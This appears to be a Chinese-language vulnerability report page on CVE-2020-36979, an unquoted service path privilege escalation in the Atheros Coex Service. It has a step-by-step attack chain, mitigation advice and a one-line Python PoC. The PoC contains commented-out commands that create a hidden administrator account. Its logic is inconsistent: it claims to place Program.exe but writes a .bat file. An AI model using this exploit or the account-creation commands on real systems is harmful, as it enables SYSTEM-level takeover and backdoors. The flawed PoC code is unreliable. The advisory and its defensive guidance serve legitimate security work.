IPBUF安全漏洞报告
English
CVE-2020-36979 CVSS 7.8 高危

CVE-2020-36979: Atheros Coex Service Application未加引号服务路径权限提升漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36979
漏洞类型
未加引号的服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Atheros Coex Service Application

相关标签

未加引号服务路径权限提升Windows服务Atheros本地攻击高危漏洞CVE-2020-36979路径劫持

漏洞概述

CVE-2020-36979是Atheros Coex Service Application(ath_coexagent.exe)中的一个高危安全漏洞,CVSS评分达到7.8分。该漏洞存在于Windows服务配置中,由于服务路径未使用引号包裹,攻击者可以利用Windows服务解析路径的特性,通过在服务路径中的中间目录放置恶意可执行文件来实现权限提升。当服务启动时,Windows会按照路径顺序依次查找并执行程序,攻击者只需将恶意程序命名为服务路径中某个目录的名称,即可实现劫持并在服务启动时以SYSTEM或高权限账户执行恶意代码。此漏洞属于本地攻击范畴,攻击者需要具备低权限账户即可实施攻击,且无需用户交互即可完成提权操作。

技术细节

该漏洞的根本原因在于Windows服务配置中的ImagePath注册表项未使用引号包裹路径。当服务可执行文件路径包含空格且未加引号时,Windows服务控制管理器(SCM)在启动服务时会从左到右解析路径,遇到空格时可能会将空格前的部分识别为可执行文件名。例如,如果服务路径为C:\Program Files\Atheros\Coex Agent\ath_coexagent.exe,Windows会首先尝试执行C:\Program.exe,如果该文件存在则会被优先执行。攻击者可以利用这一特性,在C:\目录下放置名为Program.exe的恶意文件,当Atheros Coex Service服务启动时,Windows会错误地执行攻击者的恶意程序,从而实现以高权限账户(如LOCAL SYSTEM)执行任意代码,完成权限提升。

攻击链分析

STEP 1
1
攻击者首先进行本地侦察,使用低权限账户发现系统中存在Atheros Coex Service服务(ath_coexagent.exe),并确认其服务路径未加引号
STEP 2
2
攻击者识别服务路径中的可写目录,例如C:\目录或Program Files目录等具有写权限的位置
STEP 3
3
攻击者在可写目录中创建恶意可执行文件,文件名与服务路径中空格前的第一个目录名匹配(如Program.exe)
STEP 4
4
等待服务重启、系统重启或通过社会工程学诱导管理员重启服务
STEP 5
5
当服务启动时,Windows SCM错误地执行攻击者放置的恶意程序,以SYSTEM权限运行任意代码
STEP 6
6
攻击者成功完成权限提升,获得系统最高权限,可执行任意操作如创建管理员账户、植入后门、窃取敏感数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36979 PoC - Atheros Coex Service Unquoted Service Path # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to SYSTEM level import os import sys import shutil def check_vulnerability(): """Check if the vulnerable service exists and has unquoted path""" try: import winreg key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\Atheros Coex Agent" ) path, _ = winreg.QueryValueEx(key, "ImagePath") winreg.CloseKey(key) print(f"[+] Service path: {path}") # Check if path is unquoted if '"' not in path: print("[!] Vulnerability confirmed: Path is not quoted") return path else: print("[-] Path is properly quoted, vulnerability may be patched") return None except WindowsError as e: print(f"[-] Service not found or access denied: {e}") return None def create_payload(payload_path="C:\\Program.exe"): """Create a malicious executable in the unquoted path location""" # Create a simple reverse shell payload or add your own malicious code malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Add your malicious code here // This will run with SYSTEM privileges MessageBox(NULL, "Privilege Escalation Successful!", "CVE-2020-36979", MB_OK); // Example: Create a new admin user // system("net user hacker P@ssw0rd123 /add"); // system("net localgroup administrators hacker /add"); return 0; } ''' # For demonstration, create a simple batch file as payload batch_content = '''@echo off echo Privilege Escalation via CVE-2020-36979 > C:\\poc_success.txt ''' try: with open(payload_path.replace(".exe", ".bat"), 'w') as f: f.write(batch_content) print(f"[+] Payload created at {payload_path}") return True except Exception as e: print(f"[-] Failed to create payload: {e}") return False def main(): print("=" * 60) print("CVE-2020-36979 - Atheros Coex Service Unquoted Path Exploit") print("=" * 60) # Check if vulnerable path = check_vulnerability() if path: print("\n[!] Target is vulnerable!") print("[*] Exploitation requires:") print(" 1. Write access to a directory in the service path") print(" 2. Ability to restart the service or wait for reboot") # For authorized testing only if len(sys.argv) > 1 and sys.argv[1] == "--exploit": create_payload() print("[*] Payload created. Service restart required for exploitation.") else: print("[-] Target is not vulnerable or service not found") if __name__ == "__main__": main()

影响范围

Atheros Coex Service Application 8.0.0.255(及其他未打补丁版本)

防御指南

临时缓解措施
在正式补丁发布前,可通过以下措施临时缓解风险:1)使用icacls命令限制服务目录权限,移除普通用户的写权限;2)为服务目录添加监控告警,检测异常可执行文件创建;3)使用Endpoint Detection and Response(EDR)解决方案监控可疑进程创建行为;4)考虑禁用或卸载非必要的Atheros Coex Service服务(如果不影响正常功能);5)实施最小权限原则,确保低权限账户无法在系统关键目录写入文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表